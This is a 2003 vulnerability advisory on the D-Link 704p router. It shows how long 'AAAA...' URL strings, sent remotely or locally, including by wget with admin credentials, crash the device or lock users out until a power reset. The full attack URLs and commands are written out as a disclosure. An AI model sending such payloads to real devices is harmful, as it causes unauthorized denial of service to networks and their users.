02 August 2003



Hardware: D-Link 704p

Vulnerability: Multiple Local/Remote (see below)

Warning Level: Moderate



Description:



This small advisory is on the D-Link 704p router with firmware version 

2.70. The router is a small 4 port DSL/CABLE router. Earlier this year I 

made a small post on BUGTRAQ about the routers inability to handle local 

long string URL's, those bugs and a -NEW REMOTE DoS- are included in this 

advisory. I believe nessus even has a plugin for those small URL attacks. 

I did notify D-Link and got no response :-/



Yes this type of vulnerability isnt a high risk factor, but its irritating 

to see how easily this device can be manipulated. This advisory has to do 

with its inability to handle long string URL attacks from an unauthorized 

and authorized user in multiple instances. These attacks are most likely 

successful on other D-Link routers as well, provided their firmware is 

based off the same core code. All of these attacks are based off the same 

trailing URL string (continous A's), just injected in a different method.

(URL's may not be formatted properly in this window)

Attacks:



#1.Un-Authorized Remote DoS



704p can be configured to be remotely administered on a given port by a 

given IP address. Goto the tools tab and look down the bottom. If you 

leave this IP field blank as 0.0.0.0 any host can administer the device. I 

choose port 8080.



Thanks to my friend Scott we successfully DoS the router with one simple 

URL. I had a constant ping to google setup 'ping -t google.com'. It 

dropped the moment scott clicked the URL I had sent him in an IM and I 

lost all internet connectivity.



http://68.x.x.x:8080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAA



The number of A's may vary from browser to browser, you can input more 

from a program like wget in linux.

wget http://68.x.x.x/AAAA (and so on for as long as you like.)



The router is useless until physically reset by unplugging the power cord.





#2. Local PW Change DoS



 Slightly changing the URL above from a local machine, The routers 

administration page can be rendered unreachable until the machine is 

physically rebooted. 



wget 

http://192.168.0.1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAA



Then point your browser to 192.168.0.1 (or whatever your gateway IP 

address is set to). You will be prompted to enter your password. You can 

enter your correct password all you like, until the device is rebooted 

physically by unplugging the power cord you will not be able to 

authenticate.



#3. Local Configuration DoS / DNS Lookup



wget --http-user=admin --http-passwd=password 

http://192.168.0.1/syslog.htm?

D=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAA



This was tested and in some instances the routers configuration page 

becomes unreachable if sent to many times, and oddly enough the router 

performs a DNS lookup on 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@xxxx.xx.comcast.net

(amount of A's vary depending on the URL you used to send the device)



After inserting the above long URL into your router, point your browser to 

your configuration page. Sometimes the page is still reachable and your 

configuration page will look like a bunch of repeating frames and you have 

to reset the device in order to fix it.



Comments:



My guess is the long string URL's cause the device to overflow at some 

point. I am at best an intermediate programmer, with no access to the code 

of the firmware, so don't ask me. All I know is my device is no longer 

setup for remote administration. I sent a copy of this to D-Link on 

Saturday August 02 2003 (no response). Thanks!





chris@cr-secure.net

www.cr-secure.net